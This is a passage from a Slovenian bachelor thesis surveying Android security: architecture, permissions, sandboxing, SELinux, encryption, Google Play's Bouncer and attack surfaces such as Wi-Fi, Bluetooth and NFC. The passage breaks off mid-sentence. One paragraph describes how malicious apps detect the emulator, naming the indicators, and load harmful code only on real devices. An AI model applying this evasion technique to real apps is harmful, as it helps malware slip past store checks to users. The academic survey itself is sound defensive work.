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Povzetek
Naslov: Pregled in analiza varnosti v sistemu Android
Diplomska naloga vsebuje pregled in analizo varnosti sistema Android. Pred-
stavi operacijski sistem in analizira varnostne mehanizme, ki so vgrajeni vanj.
Opisano je delovanje sistema in njegova arhitekturna zasnova, nato pa sˇe kako
so varnostni mehanizmi vgrajeni vanj. Sledi analiza varnostnih pregledov, ki
jih Google izvaja pred objavo v trgovini Google Play. Razlozˇena raba do-
voljenj ter prednosti in slabosti le-teh. Opiˇse druge pomembne varnostne
mehanizme kot so peskovnik, SELinux in enkripcija. Sledi opis izvedenega
napada in strategije obrambe pred njim. V zakljucˇku je povzetek ugotovitev
in mozˇnosti za nadaljnje raziskovanje.




Title: Overview and analysis of security in Android
This bachelor thesis addresses the security of the Android system. It begins
with the general overview of the operating system and system’s architecture
and its built-in security mechanisms. It describes how the system works and
the system architecture, and also how the security mechanisms are built into
the system. Next, comes the overview of the security of the Google Play
marketplace. Permissions are explained as well as their pros and cons. Fur-
thermore, the security mechanisms used for security check of the applications
before they go to the marketplace are thoroughly analyzed. In the second
part, an executed attack is presented and explained, followed by protection
strategies. In the end, we sum up the findings and propose further research
on this topic.





Mobilni telefoni so danes najbolj uporabljane elektronske naprave. V letu
2014 so jih je prodali 1838 milijonov (za primerjavo z racˇunalniki, ki so jih
prodali le 318 milijonov). Za prihodnja leta napovedujejo, da se bo trend
prodaje mobilnih telefonov sˇe povecˇeval [13]. Najbolj priljubljeni so prav
taki z operacijskim sistemom Android, ki zavzemajo vecˇ kot osemdeset od-
stotkov trga[24].
Telefon imamo vedno pri sebi in ga tekom dneva uporabljamo za naj-
razlicˇnejˇsa opravila, od opravljanja klicev, pregleda e-posˇt, pregleda stanja
na tekocˇem racˇunu, placˇevanja, brskanja po spletu, navigacije, poslusˇanja
glasbe. Sˇe zelo veliko je drugih opravil, ki jih omogocˇajo sodobne aplikacije!
Ob tem redko pomislimo na kolicˇino in naravo podatkov, ki jih ob tem zau-
pamo telefonu in kaj vse lahko z njimi naredi nekdo, ki pridobi dostop do njih.
Nekdo me je vprasˇal: ”Kaj, cˇe nekdo pridobi dostop do mojega tele-
fona?Zˇa predstavo: Cˇe ima nekdo dostop do nasˇega telefona, ima dostop do
imenika, kar je potencialno uporabno zaradi seznamov elektronskih naslo-
vov za posˇiljanje nezˇelenih posˇt, za prevare, kot so klici na placˇljive sˇtevilke,
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zbiranje osebnih informacij za namen usmerjenega napada (ang. spear phi-
shing) in sˇe mnogo drugih nezazˇeljenih posledic. Cˇe telefon uporabljamo za
placˇevanje, se nepridiprav lahko prebije do podatkov o placˇilni kartici, tran-
sakcijskem racˇunu ipd. Lahko tudi zacˇne posˇiljati velike kolicˇine SMS sporocˇil
na placˇljive sˇtevilke, ali klicˇe v tujino, kar nam konec meseca posˇteno povecˇa
racˇun. Cˇe nekdo pridobi GPS-podatke z nasˇe naprave, lahko zelo natancˇno
predvidi nasˇe gibanje in nasˇ urnik ter v nasˇi odsotnosti obiˇscˇe nasˇ dom, ali nas
preseneti zvecˇer v osamljeni ulici. Nepridipravi imajo neskoncˇno domiˇsljijo,
kako izkoristiti taksˇne podatke, in uporabniki bi se tega morali zavedati.
S svojim diplomskim delom zˇelim opozoriti na problematiko zanemar-
janja vidika varnosti, mozˇnosti rabe in podati ustrezne resˇitve za zasˇcˇito.
Menim, da bi za nemoteno opravljanje vsakdanjih opravil brez neprijetnih
posledic morali poskrbeti za cˇim vecˇjo varnost naprav in podatkov, ki jih
hranijo. Zˇelim predstaviti nove resˇitve, povecˇati zavedanje med uporabniki
ter spodbuditi sˇirsˇo razpravo o tej problematiki.
1.2 Uporabljena orodja in tehnologije
Za izvedbo prakticˇnega dela te diplomske naloge sem uporabila mobilni tele-
fon Galaxy Nexus. Zanj sem se odlocˇila, ker je njegova koda javno objavljena
skupaj s izvrsˇno kodo za vse verzije operacijskega sistema ter gonilnikov za
operacijski sistem Windows. Zaradi odklenjenega nalagalnika mi omogocˇa,
da na napravo nalozˇim poljubno verzijo sistema, s pomocˇjo gonilnika pa
telefon enostavno povezˇem z racˇunalnikom. Ker naprave vrste Nexus upo-
rabljajo tako imenovani ”Vanilla”ali cˇisti sistem Android, ranljivost v sliki
sistema pomeni, da gre za ranljivosti tudi v vseh ostalih napravah. Hkrati
ugotavljam, da nima ranljivosti, ki so specificˇne samo za dolocˇene modele
dolocˇenih znamk. S tem smo dobili najbolj univerzalne ugotovitve.
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1.3 Sorodna dela
Dober pregled pristopov do varnosti operacijskega sistema nam nudi knjiga
Android Hacker’s Handbook avtorja Joshua Drakea [8]. Pregled znanih ran-
ljivosti po arhitekturnih nivojih in obrambe po razlicˇicah operacijskega sis-
tema sem nasˇla v cˇlanku Analysis of Modern Vulnerabilities and Exploita-
tion Techniques in Android [40]. Delo Understanding Android Security [9]
predstavlja pregled dovoljenj in opiˇse mehanizme, ki bi jih morali razvijalci
aplikacij uposˇtevati, da bi bile njihove aplikacije varne. Delo All Your Droid
Are Belong to Us: A Survey of Current Android Attacks [45] iz leta 2011
razlaga o napadih, razvrsˇcˇenih glede na mozˇnosti dostopov do naprave za
napadalce. V delu Improving the Android Smartphone Security against Va-
rious Malware Threats je pregled varnostnih izboljˇsav, ki jih lahko naredimo
z namestitvijo razlicˇnih dodatkov v obliki ogrodij in aplikacij. Delo Google
Android: A Comprehensive Security Assessment [39] iz leta 2010 nudi pre-
gled varnostnih mehanizmov, zˇe vkljucˇenih v Androide, in navede taksono-
mijo napadov, ki jih kategorizira glede na verjetnosti in vplive v pet sorodnih
grucˇ. Za vsako grucˇo navede obrambne mehanizme, ki jih lahko uvedemo za
preprecˇitev napada.
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Poglavje 2
Pregled operacijskega sistema
2.1 Razlicˇice operacijskega sistema
Obstaja vecˇ razlicˇic operacijskega sistema in v vsakem trenutku so sˇtevilne
med njimi aktivirane, so si pa med seboj lahko zelo razlicˇne. Najnovejˇsa
razlicˇica je 6.0 Marshmallow, ki je namesˇcˇena le na najnovejˇsih napravah
ter napravah Nexus (zgolj na napravah, izdanih v zadnjih dveh letih). Naj-
starejˇsa verzija, ki je sˇe v rabi, je 2.2 Froyo. Razvijalcem se priporocˇa, da
za minimalne zahteve za svoje aplikacije postavijo razlicˇico 4.0.3 Ice Cream
Sandwich, kar bi podpiralo 94% uporabnikov. Zˇelja po razvoju cˇim novejˇse
razlicˇice obstaja zaradi tega, ker nam novejˇse razlicˇice omogocˇajo dodatne
funkcionalnosti.
Z varnostnega vidika je najboljˇse imeti najnovejˇso verzijo, saj so znane
ranljivosti popravljene sˇele v vsaki naslednji razlicˇici, ker Google ne omogocˇa
popravkov za starejˇse verzije. Dodatna tezˇava nastane, ko imamo napravo,
ki ni vrste Nexus. Naprave Nexus imajo namrecˇ nalozˇen t. i. ”Vanilla An-
droid”, kar pomeni osnovno razlicˇico Androida, katere koda je tudi javno
objavljena. Veliko proizvajalcev za svoje naprave namrecˇ prilagodi osnovno
razlicˇico z dodajanjem logotipov, aplikaciij, zaklepanjem nalagalnika sistema
ali sˇe drugacˇe prilagodijo sistem za svoje naprave. Od proizvajalca do proi-
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zvajalca so razlike glede sprememb. Te spremembe se gibljejo v razponu od
minimalnih do vecˇjih – nekatere od njih lahko uvedejo dodatne ranljivosti.
Ker spremenjena koda ni nujno javno objavljena, se pojavi tudi tezˇava, da
je manj pregledana s strani varnostnih raziskovalcev in se zato v njej lahko
skrivajo ranljivosti.
Pri posodobitvah se pojavi tezˇava takrat, ko Google objavi novo verzijo,
proizvajalci pa je ne morejo enostavno razposlati uporabnikom, ampak jo mo-
rajo prilagoditi svojim napravam. Od kolicˇine prilagoditev, ki so jih uvedli,
je odvisno, koliko dela je za to potrebno. Posledicˇno prihaja do zamika med
objavo uradnega popravka s strani Googla in dejansko namestitvijo popravka
pri uporabnikih, v vmesnem cˇasu ostajajo naprave ranljive in so ranljivosti
javno znane [45]. Proizvajalci se obicˇajno odlocˇajo zagotavljati posodobitve
zgolj za najdrazˇje modele in zgolj v zelo omejenem cˇasu. Zaradi tega feno-
mena posodabljanja prihaja do tega, da so uporabniki obsojeni na starejˇse
verzije, posledicˇno pa prihaja do velike razdrobljenosti ekosistema.
Ker so znane ranljivosti javno objavljene, velikokrat obstaja tudi lahko
dostopen programcˇek, ki izkoriˇscˇa te ranljivosti. Zaradi navedenega je ta raz-
drobljenost varnostno zelo problematicˇna. Pomeni, da je zelo velik odstotek
uporabnikov ranljiv zaradi javno znanih varnostnih lukenj, ki jih je za cel
seznam.
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Razlicˇica Kodno ime API delezˇ
2.2 Froyo 8 0.2%
2.3.3 - 2.3.7 Gingerbread 10 3.4%
4.0.3 - 4.0.4 Ice Cream Sandwich 15 2.9%
4.1.x Jelly Bean 16 10.0%
4.2.x 17 13.0%
4.3 18 3.9%
4.4 KitKat 19 36.6%
5.0 Lollipop 21 16.3%
5.1 22 13.2%
6.0 Marshmallow 23 0.5%
Slika 2.1: Razlicˇice Androida, Dec 2015 Vir:
http://developer.android.com/about/dashboards/index.html
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2.2 Zgradba operacijskega sistema
Android je operacijski sistem, ki so ga leta 2003 zasnovali Andy Rubin, Nick
Miner in Andy Sears, od leta 2005 dalje pa ga razvija Google v sodelovanju
z Open Handset Alliance (OHA). Prva verzija 1.0 je bila izdana leta 2008 na
napravi HTC Dream [2].
Sistem je zasnovan na jedru Linux in optimiziran za mobilne naprave z
namenom dosecˇi boljˇso zmogljivost in manjˇso porabo energije. Nad jedrom
tecˇe navidezni stroj, imenovan Dalvik, v katerem se poganjajo aplikacije,
napisane v Javi.
Dalvik Javanska koda se prevede v datoteko s koncˇnico class, nabor teh
datotek pa je v zbirniku zdruzˇen v datoteko DEX (Dalvik Executable). Ta
koda se potem interpretira in izvaja v navideznem stroju Dalvik. Ta upo-
rablja registre in ne sklada. Kodo, ki jo nalozˇi ob prvem zagonu aplikacije,
optimizira in jo shrani kot ODEX (Optimized DEX).
Zygote Prvi proces, ki se zazˇene ob zagonu sistema, je Zygote, ki sluzˇi
temu, cˇemur v Linuxu sluzˇi proces ”init”. Zadolzˇen je za zagon ostalih sto-
ritev in knjizˇnic, ki jih uporablja Android Framework. Za zagon nadaljnjih
procesov Zygote poskrbi tako, da naredi kopijo samega sebe in nato zazˇene
nov proces.
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Slika 2.2: Arhitektura operacijskega sistema Vir:
http://source.android.com/devices/
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2.2.1 Aplikacije
Kar uporabnike najbolj privlacˇi pri Androidu so aplikacije. Za Android
obstaja ogromen ekosistem aplikacij, ki si jih uporabniki namestijo in s
tem izbirajo, cˇesa je zmozˇen njihov telefon. Aplikacije v osnovi delimo na
prednamesˇcˇene, kamor spadajo Googlove aplikacije, in tiste, ki omogocˇajo
osnovno uporabnost telefona, ter aplikacije, ki jih namestijo proizvajalci z
namenom diferenciranja svojih znamk. Namesˇcˇene so v /system/app, Imajo
lahko viˇsje privilegije in jih praviloma ni mogocˇe odstraniti brez skrbniˇskega
dostopa.
Druga vrsta aplikacij so tiste, ki jih namesti uporabnik. Pri tem lahko
namesti aplikacije iz uradne trgovnine Google Play, ali iz katere od ostalih
trgovin, lahko pa celo neposredno nalozˇi aplikacijo z namestitvijo .apk paketa,
ki ga prenese prek adb-ja (Android Debug Bridge), z kartice SD, prek spleta
ipd. Tovrstne aplikacije se namestijo v /data/app.
Zgradba aplikacije
Aplikacija je sestavljena iz t.i. aktivnosti (activity), prejemnika sporocˇil (bro-
adcast receiver), storitev (services) in upravitelja vsebine (content provider)
[14]. Aktivnost predstavlja uporabniˇski vmesnik. Prejemnik sporocˇil po-
slusˇa nenaslovljene namene (Intents). Z uporabo filtra lahko omejimo, kdo
je lahko posˇiljatelj, ter zahtevamo dovoljenja za dolocˇene akcije. V ozadju
tecˇejo storitve, ki sprejemajo in posˇiljajo namene, s pomocˇjo katerih jih lahko
tudi zazˇenemo in ustavimo. Ponudnik vsebin je vmesnik za dostop do shramb
podatkov.
Komunikacijo med aplikacijami omogocˇa namen (Intent) – to je sporocˇilo,
ki vsebuje informacije o operaciji, ki naj se izvede, ciljno komponento, in do-
datne infomacije, ki so pomembne za prejemnika. Namen omogocˇa akcije,
kot so: odprtje brskalnika ob kliku na povezavo v e-posˇti, ipd. Na ta nacˇin
lahko aplikacije komunicirajo med seboj, uporabljajo funkcionalnosti druge
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aplikacije in si delijo podatke. Posledicˇno je zelo pomembno preveriti, cˇe ima
klicatelj dovoljenje za izvajanje dolocˇene funkcije in cˇe dostopa do dolocˇenih
podatkov. Za to je zadolzˇeno izvajalno okolje Android. Poleg tega lahko
aplikacija vsebuje filter namenov, ki omogocˇa klice zgolj dolocˇenim aplikaci-
jam (npr. zgolj aplikacijam istega izdajatelja).
Vsak paket .apk vsebuje tudi datoteko Manifest.xml, ki nam pove osnovne
informacije o aplikaciji: enolicˇno ime aplikacije, njeno verzijo in verzije sis-
tema, ki jih podpira, dovoljenja, ki jih potrebuje, gradnike in knjizˇnice, ki
jih vsebuje ter dodatne informacije, kot so npr.: UID (User ID). Manifest
je dokument, ki nam ponuja celosten pogled nad aplikacijo, saj morajo biti
v njem registrirani vsi servisi, aktivnosti, prejemniki sporocˇil ter upravitelji
vsebin.
2.2.2 Aplikacijsko ogrodje (application framework)
Ogrodje za aplikacije ponuja razvijalcem sˇtevilna aplikacijska ogrodja - to
so razredi in paketi, ki razvijalcem omogocˇajo dostop do komponent. Poleg
tega vsebuje kodo, ki je skupna vecˇ aplikacijam in tecˇe v Dalvik okolju, in t.
i. ”third party”pakete.
2.2.3 Povezovalnik (Binder)
Povezovalnik je optimizirani nacˇin za medprocesno komunikacijo. Procesi ne
komunicirajo neposredno med seboj, ampak zgolj prek povezovalnika. Reali-
ziran je kot naslovni prostor v pomnilniku, skupen za vse aplikacije. Dostop
do konkretne lokacije je omejen glede na dovoljenja, ki jih ima posamezna
aplikacija. Povezovalnik posreduje poleg komunikacije med razlicˇnimi apli-
kacijami tudi pri komunikaciji znotraj same aplikacije. Postopek omogocˇa
aplikaciji, da klicˇe lokalno metodo, v resnici pa klicˇe oddaljeno metodo v
nekem drugem procesu, ki tecˇe vzporedno.
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Povezovalnik je sestavljen iz dveh delov:
• knjizˇnice, ki se izvaja v uporabniˇskem prostoru in je vkljucˇena v vse
aplikacije, ter;
• gonilnika, ki izvaja kriticˇne operacije v jedrnem prostoru. Naloga funk-
cij v knjizˇnici je oblikovanje zahtev v obliki, primerni za posˇiljanje.
Nato se prek sistemskega klica podatki prekopirajo v jedrni prostor,
kjer jih sprejme gonilnik. Gonilnik zahtevo posreduje strezˇniˇskemu
procesu, ki od slednjega prejme odgovor in ga povratno posreduje kli-
catelju [3].
Aplikacija potrebuje dovoljenja za dostop do virov (ang. permissions),
ki so definirana v XML Manifestu, za dostop do virov. To je na nizˇjem
nivoju implementirano z UID in GID, kar pomeni, da se za vsako dovoljenje
aplikaciji pripiˇse skupina, s cˇimer aplikacija dobi GID in pravice te skupine.
Povezovalnik preveri, ali obstaja dovoljenje za dostop, tako da preveri UID
in GID.
Slika 2.3: Povezovalnik Vir: [3]
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2.2.4 Storitve Androida (ang. Services)
Storitve se delijo v dve skupini: sistemske in medijske. Zygote zazˇene sis-
temski strezˇnik takoj po zagonu, ki nato poskrbi za zagon vseh sistemskih
storitev. Medijski strezˇnik skrbi za obdelavo multimedijskih datotek.
2.2.5 Abstrakcija strojne opreme (Hardware abstra-
cion layer)
Nivo abstrakcije strojne opreme neodvisno od gonilnikov skrbi za podporo
strojni opremi. Zgrajen je iz modulov Hardware Abstraction Layer (HAL),
ki jih skupaj z ustreznimi gonilniki priskrbijo proizvajalci strojne opreme.
Predpisana je oblika modulov, ne pa tudi komunikacija med modulom in
gonilnikom. Vecˇ modulov HAL je skupaj zapakiranih v knjizˇnicˇni modul, to
je datoteka s koncˇnico .so [15].
Slika 2.4: Primer HAL modula Vir: https://source.android.com/devices/
2.2.6 Jedro (ang. Kernel)
Jedro Androida je veja jedra Linux, od katerega se razlikuje za manj kot en
odstotek. Spremembe so predvsem v datotecˇnem sistemu in upravljanju s
pomnilnikom[30]. Najvecˇje spremembe so: Binder, ashmem, pmem, logger,
RAMCONSOLE, out-of-memory modifications, wake-locks, Alarm Timers,
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Paranoid Networking, timed output in yaffs2.
Binder je gonilniˇski del mehanizma medprocesne komunikacije (predhodno
opisan v 2.2.3 ).
• Ashmem pomeni Anonymous Shared Memory oziroma slovensko ano-
nimni skupni pomnilnik. Je skupni pomnilnik z mehanizmom, ki opti-
mizira porabo prostora z avtomatskim cˇiˇscˇenjem pomnilnika, kadar ga
sistemu primanjkuje.
• Pmem je gonilnik, ki skrbi za vecˇji del pomnilnika, ki si ga delijo upo-
rabniˇski in jedrni procesi.
• Logger je gonilnik, ki podpira logcat ukaz. Android je poleg uvedbe
tega dodatnega nacˇina logiranja obdrzˇal tudi Linuxov log sistem.
• Paranoid networking je modifikacija, ki dodatno omejuje zmozˇnosti
vsake skupine glede na dovoljenja, ki jih ima, npr kreiranje vticˇnic
(socket).
2.3 Vgrajeni varnostni mehanizmi
Predstavila bom izbrane varnostne mehanizme vgrajene v sistem.
2.3.1 Dovoljenja
Dovoljenja varujejo dostop do APIjev, ponudnikov vsebin in namenov. Apli-
kacija mora deklarirati zahteve za vsa dovoljenja, ki jih potrebuje v Manifestu.
Ob namestitvi se uporabniku izpiˇsejo zahtevana dovoljenja in le-ta lahko odo-
bri vsa, ali pa zavrne namestitev aplikacije. Poznejˇse spreminjanje dovoljenj
ni vecˇ mogocˇe. Z verzijo 6.0 se je sistem spremenil in aplikacija ob namestitvi
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ne vprasˇa vecˇ za dovoljenje oziroma odobritev, pacˇ pa jih uporabnik lahko
spreminja med izvajanjem aplikacije. Razvijalce se spodbuja, da uporabniku
razlozˇijo, zakaj potrebuje dolocˇeno dovoljenje. Na tak nacˇin zˇelijo povecˇati
mozˇnosti, da uporabnik tako dovoljenje odobri [18].
Dovoljenja so razdeljena v tri kategorije: normalno, nevarno in sistem-
sko. Uporabnik je posebej opozorjen na nevarna dovoljenja, ki imajo lahko
posledice na zasebnost ali pa financˇne posledice. Sistemska dovoljenja imajo
aplikacije v sistemski mapi oziroma aplikacije s podpisom proizvajalca strojne
opreme. Dodatno lahko razvijalci definirajo svoja lastna dovoljenja.
Mehanizem
Vecˇina dovoljenj se preverja prek Androidovega sistema za preverjanje dovo-
ljenj, nekatera pa se preverjajo prek Linuxovih mehanizmov, in sicer: INTERNET,
WRITEEXTERNALSTORAGE, BLUETOOTH. Pri ponudnikih vsebin imamo locˇeno:
bralno in pisno dovoljenje. Poleg tega imamo mozˇnost zelo natancˇnega na-
stavljanja dovoljenj za tocˇno dolocˇene vrednosti. ActivityManagerService
omejuje, kdo lahko posˇlje dolocˇeni namen. Poleg dovoljenj je pri namenih
dodatna kontrola tudi UID, ki se mora pri sistemskih namenih ujemati z
UID sistemom – v tem primeru UID prevlada nad dovoljenji. Aplikacije
potrebujejo dovoljenja tudi za sprejemanje sistemskih namenov.
Problematika dovoljenj
Uporabniˇski vidik Trenutno so uporabniki vajeni, da ima vsaka aplika-
cija nekaj t. i. Nevarnih dovoljenj. Ker je edina opcija, da uporabnik sprejme
vsa dovoljenja, ali zavrne namestitev aplikacije, je uporabnik (pri starejˇsih
verzijah OS) prisiljen v sprejemanje pogojev. Ker pa vedno znova videva
dolg seznam dovoljenj in opozorila, da so zahtevana dovoljenja nevarna, ni
dosezˇenega zˇelenega ucˇinka. Pri uporabnikih opazimo pomanjkanje razume-
vanja za to, ali je zahteva po posameznih dovoljenjih in njihovih kombinacijah
utemeljena, ali ni, in kaj natancˇno mu omogocˇajo [29].
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Razvijalske zahteve po nepotrebnih dovoljenjih Ena tretjina aplika-
cij zahteva dovoljenja, ki jih ne potrebuje[12]. Po pravilu minimalnih pra-
vic bi aplikacije morale zahtevati minimalna dovoljenja, ki jim sˇe omogocˇajo
normalno delovanje. Ob zahtevi po nepotrebnih dovoljenjih prihaja do nepo-
trebnih tveganj, povecˇanja izpostavljenih povrsˇin, vecˇjih posledic v primeru
vdora, pusˇcˇanja dovoljenj in zmedenosti uporabnikov. Razlogi za zahteve po
nepotrebnih dovoljenjih so lahko nepopolno razumevanje razvijalcev, katero
dovoljenje potrebujejo za dolocˇeno funkcionalnost, raba nezasˇcˇitenih metod
v razredu, kjer za nekatere metode potrebujemo soglasja za dostop, in zahte-
vanje dovoljenj, potrebnih v starejˇsih verzijah zaradi zdruzˇljivosti. Dodaten
razlog je lahko tudi v tem, da razvijalci zahtevajo dovoljenja, ki jih bodo
mogocˇe potrebovali v prihodnosti zaradi avtomatskih posodobitev.
Dvig pravic Cˇe aplikacija klicˇe metodo druge aplikacije, ki ima neko do-
voljenje, klicˇocˇa aplikacija sama ne potrebuje dovoljenja. Posledicˇno so
javne nezasˇcˇitene metode lahka tarcˇa zlonamernih aplikacij. Razvijalci mo-
rajo svoje javne metode sami zasˇcˇititi z zahtevami po dovoljenjih za klic
metod[47].
Predlagane izboljˇsave
Zgolj opozorilo uporabnikom o zahtevanih dovoljenjih ne pove dovolj brez
konteksta o namenu aplikacije. Predlog za mozˇne izboljˇsave je, da aplikacije
razdelimo v kategorije po namenu. Vsaka kategorija obicˇajno zahteva neka
dovoljenja. Cˇe aplikacija znotraj dolocˇene kategorije zahteva dovoljenja, ki
jih sorodne aplikacije obicˇajno ne, je to sumljivo [34]. Poleg tega so lahko
sumljive dolocˇene kombinacije dovoljenj, ki se v dani kategoriji obicˇajno ne
pojavljajo. Uposˇtevamo lahko tudi, da so dolocˇena dovoljenja veliko pogo-
stejˇsa pri sˇkodljivih aplikacijah kot pri legitimnih. Sistem izda opozorilo zgolj
v primeru, ko pridemo do zakljucˇka, da je aplikacija sumljiva. V tem pri-
meru prikazˇe opozorilo in zahtevana dovoljenja, sicer se aplikacija namesti
brez ovir [?]. Tak sistem bi spremenil uporabniˇski odnos do odobravanja
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vseh dovoljenj.
2.3.2 Peskovnik(ang. Sandbox)
Android uporablja mehanizem zasˇcˇite, imenovan peskovnik (ang. Sandbox ),
s katerim izolira aplikacije med seboj. Deluje tako, da vsaka aplikacija tecˇe
kot samostojen proces in ima svoj UID, ki ima dolocˇene pravice. Glede
na to so mu omejeni viri, do katerih lahko dostopa. Aplikacije ne morejo
dostopati ena do druge in imajo omejene dostope do operacijskega sistema.
Datotecˇni sistem je zasˇcˇiten s standarnimi Linux dostopnimi dovoljenji. Ker
je omenjeni mehanizem na nivoju jedra, je za zaobitev mehanizma potrebno
posecˇi v jedro. V primeru napake v pomnilniku (memory corruption), ima
napadalec dostop zgolj znotraj trenutne aplikacije [19].
2.3.3 SELinux
SELinux je mehanizem obvezne kontrole dostopa za celoten sistem. Defi-
niramo mu varnostno politiko, zato nato lahko izvaja kontrolo dostopa v
skladu z njo. Za razliko od obicˇajnih Linux dovoljenj za kontrolo dostopa, ki
imajo nadzor le nad obicˇajnimi uporabniki, ima SELinux kontrolo tudi nad
skrbniˇskim racˇunom. Omogocˇa preverjanje dostopa, vecˇnivojsko varnost in
preverjanje tipov (ang. type enforcement). Kontrola tipov oznacˇi subjekte
(npr. procese) in vire (npr. datoteke). Za vsako oznako definiramo pravila
za dostop v varnostni politiki [38]. Glavna prednost uporabe SELinuxa je,
da omogocˇa dodatno varnostno zasˇcˇito vseh virov pred vsemi uporabniki. Na
tak nacˇin se napadalcu preprecˇi dostop do pomembnih virov tudi v primeru,
ko je uspel izkoristiti ranljivosti v sistemu. Smalley in drugi so testirali ucˇinke
znanih sˇkodljivih programov, ki izkoriˇscˇajo ranljivosti (exploits) ob uporabi
SELinuxa, in priˇsli do ugotovitve, kako ucˇinkovito preprecˇi napad [41].
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2.3.4 Enkripcija
Od verzije 5.0 dalje je disk kriptiran z 128-bitno enkripcijo AES v nacˇinu CBC
(Cipher Block Chaining). Ob prvem zagonu se generira nakljucˇni kljucˇ, s
katerim se kriptira celoten disk in v nadaljevanju se vsi podatki pred zapisom
kriptirajo in ob branju dekriptirajo. Kljucˇ je kriptiran s privzetim geslom ali
uporabniˇskim PINom, geslom ali vzorcem.
2.3.5 Varnostnik (Google Bouncer)
Ob objavi aplikacije v spletni trgovini Google Play se aplikacija avtomatsko
pregleda z mehanizmom, imenovanim Varnostnik. Ta naredi staticˇno ana-
lizo aplikacije in jo zavrne, cˇe se med pregledom sprozˇi kaksˇen alarm. Cˇe gre
aplikacija uspesˇno cˇez staticˇno preverjanje, Varnostnik na simulatorju zazˇene
dinamicˇno analizo. Del aplikacij, ki ustrezajo nekim (neznanim) kriterijem,
se pregleda tudi rocˇno. V primeru, da je aplikacija klasificirana kot sˇkodljiva,
je blokirana in odstranjena, blokiran postane tudi uporabniˇski racˇun razvi-
jalca. Razvijalcu je tudi preprecˇeno ustvarjanje novih racˇunov (vezano na
IP, e-mail ipd).
Pri avtomatizirani dinamicˇni analizi Varnostnik aplikacijo zazˇene enkrat
samkrat, jo pusti tecˇi 5 minut, ji dovoli dostop do spleta in simulira upo-
rabnika z avtomatiziranimi vhodnimi podatki. Varnostnik je vedno na is-
tem bloku naslovov IP in tecˇe na istih specifikacijah emulatorja. Emula-
tor je mozˇno prepoznati po vecˇ lastnostih, kot so: mapa /sys/qemu trace,
ro.kernel.qemu, procesor imenovan goldfish, telefonska sˇtevilka, serijska
sˇtevilka, IP naslov, ipd [31] [35].
Posledicˇno lahko aplikacija preveri, ali tecˇe v emulatorju. Cˇe to zazna,
izvede zgolj nesˇkodljivo kodo. V primeru, da je aplikacija nalozˇena na fizicˇni
napravi, pa nalozˇi sˇkodljivo kodo prek dinamicˇnega nalaganja kode, npr.: z
uporabo Javascript Bridge-a, prek nalagalnika kode, ki nalozˇi .apk, .jar ali
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.dex datoteko, ”native code”, nalozˇi: .apk iz poljubnega vira, ali uporabi
kodo druge aplikacije, ki ni pravilno zasˇcˇitena (pred verzijo 4.3 )[36].
Od marca 2015 dalje so pred objavo vse aplikacije tudi rocˇno pregledane.
Poleg tega je na telefonu sˇe storitev, imenovana Verify Apps, ki preverja
aplikacije, nalozˇene iz virov izven trgovine Google Play. Cˇe so prepoznane
kot sˇkodljive, jih odstrani.
2.4 Mozˇne tarcˇe napada (ang. attack surfa-
ces)
Mozˇne tarcˇe napada so vsi sestavni deli, ki lahko vsebuje ranljivosti, s kate-
rimi napadalcu omogocˇijo dostop - npr.: mrezˇni vmesniki, aplikacije, fizicˇni
dostop, itd.
2.4.1 WiFi
V primeru, da je naprava povezana v odprto omrezˇje Wi-Fi, je promet, ki
ga po njem posˇilja, dostopen komur koli. Pri omrezˇju, zasˇcˇitenem z WEP
ali WPA, je promet kriptiran, vendar uporabnika to sˇe vedno ne zasˇcˇiti pred
vstopom cˇez dostopno tocˇko, cˇe je le-ta v lasti napadalca. V primeru, da
mobilna naprava sama deluje kot dostopna tocˇka, se tveganje zelo povecˇa,
saj se nanjo napadalec lahko povezˇe.
2.4.2 Mobilno omrezˇje
Cˇe ima napadalec oddajnik, ki oddaja mocˇnejˇsi signal od najblizˇjega oddaj-
nika mobilnega operaterja, se naprava avtomatsko povezˇe nanj. S tem dobi
napadalec dostop do podatkov, ki se prenasˇajo prek mobilnega omrezˇja, kot
so: klici, SMS-i, mobilni podatki.
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2.4.3 Brskalnik
Napadalec lahko zˇrtvi podtakne povezavo na sˇkodljivo spletno stran, izkoristi
ranljivost sicer nesˇkodljive spletne strani s tem, da vanjo vstavi svojo kodo,
ali pa se postavi med zˇrtev in njen cilj ter izvede napad Srednjega mozˇa.
2.4.4 Aplikacije
Aplikacije, ki dostopajo do spleta, so ranljive, cˇe ne uporabljajo primernih
varnostnih mehanizmov, preverjanja o tem, kam in kako so povezane, cˇe ne
kriptirajo podatkov, ali cˇe uporabljajo ranljivo implementacijo protokola SSL
(Secure Socket Layer).
2.4.5 Oglasi
Ogrodja za oglasˇevanje vsebujejo knjizˇnice, ki jih lahko po potrebi klicˇejo za
prikaz oglasov. Ob tem obstaja mozˇnost za rabo sˇkodljive kode. Poleg tega
so problematicˇna, ker zbirajo razne podatke o uporabnikih in tako ogrozˇajo
njihovo zasebnost.
2.4.6 GPS
Napadalec lahko izvede napad z lazˇnim predstavljanjem (ang. spoofing),
kjer zˇrtvi posˇilja napacˇne podatke in jo s tem zavaja. Bolj razsˇirjeno je,
da razlicˇne aplikacije zbirajo podatke o lokaciji, ki jih posredujejo/prodajo
naprej.
2.4.7 Bluetooth
Obstajajo razlicˇni profili povezave Bluetooth in vsak od njih daje povezani
napravi razlicˇne mozˇnosti dostopa do mobilne naprave. Headset/Hand-Free
profil povezani napravi omogocˇa dostop do mikrofona in zvocˇnika. Protokol
pred povezavo med napravami zahteva potrditev z obeh naprav, vendar je pri
dolocˇenih napravah PIN fiksen (ang. hardcoded), kar olajˇsa delo napadalcu.
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Po vzpostavitvi povezave so mozˇni napadi kot so: Bluejacking, Bluesnarfing,
and Bluebugging.
Bluejacking pomeni prek vmesnika bluetooth posˇiljanje sporocˇil napravam v
neposredni fizicˇni blizˇini, za katero posˇiljatelj ne potrebuje odobritve preje-
mnika. Samo po sebi ni sˇkodljivo.
Bluesnarfing je metoda, s katero napadalec dostopa do podatkov na zˇrtvinem
telefonu prek bluetooth-a. Napad je za zˇrtev tezˇko opazen.
Pri Bluebugging-u napadalec prevzame nadzor nad telefonom zˇrtve.
2.4.8 NFC
Tehnologijo Near Field Communication (NFC) uporabljamo za prenos po-
datkov, napr.: obicˇajno kot del oglasov, prenos podatkov med dvema napra-
vama, ali za brezsticˇno placˇevanje. Podatki s senzorja se posˇljejo aplikaciji,
ki se je registrirala kot prejemnik NFC podatkov. Aplikacija za to ne potre-
buje nobenega posebnega dovoljenja. Poleg ocˇitne nevarnosti prestrezanja
obcˇutljivih podatkov je manj ocˇitna posledica tudi to, da se NFC avtomatsko
